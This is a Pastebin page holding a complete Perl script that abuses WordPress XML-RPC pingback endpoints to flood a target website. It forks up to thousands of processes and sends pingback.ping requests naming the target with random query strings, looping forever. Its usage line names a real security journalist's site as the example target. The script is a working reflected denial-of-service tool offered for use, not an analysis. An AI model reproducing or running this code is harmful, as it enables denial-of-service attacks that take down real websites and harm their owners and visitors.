Advertisement
KhaosBringer

XMLRPC (Perl Version) Source

Apr 13th, 2015
1,571
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.46 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. use List::Util qw(min max);
  3. use LWP::UserAgent;
  4. use HTTP::Request::Common;
  5. use Parallel::ForkManager;
  6. use vars qw( $PROG );
  7. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  8. if ( @ARGV == 0 ) {
  9.         print "Usage: ./$PROG [TARGET] [THREADS] [LIST] [TIMEOUT]\nExample: ./$PROG http://krebsonsecurity.com/ 10000 xmlrpc.txt 10\nList Format: XMLRPC POST\nMade by Vypor\n";
  10.     exit;
  11. }
  12. my $max_processes = $ARGV[1];
  13. my $pm = Parallel::ForkManager->new($max_processes);
  14. my $count = 1;
  15. my $timeout = $ARGV[3];
  16.  
  17. my $weblist = $ARGV[2];
  18. open my $handle, '<', $weblist;
  19. chomp(my @webservers = <$handle>);
  20. close $handle;
  21.  
  22. repeat:
  23. for my $webservers (@webservers) {
  24. my @chars = ("a".."z", A..Z, 0..9);
  25. my $random = join '', map { @chars[rand @chars] } 1 .. 8;
  26. my $random2 = join '', map { @chars[rand @chars] } 1 .. 8;
  27.  
  28.     $count++;
  29.     $max = max $count;
  30.     my $pid = $pm->start and next;
  31.         alarm($timeout);
  32.         my($xmlrpc, $webpost) = split(' ', $webservers, 2);
  33.             my $target = "$ARGV[0]?$random=$random2";
  34.             my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  35.             my $message = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$webpost</string></value></param></params></methodCall>";
  36.             my $response = $userAgent->request(POST $xmlrpc,
  37.         Content_Type => 'text/xml',
  38.         Content => $message);
  39. print("\rRequests: $max ");
  40.     $pm->finish;
  41.  
  42. }
  43. $pm->wait_all_children;
  44. goto repeat;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement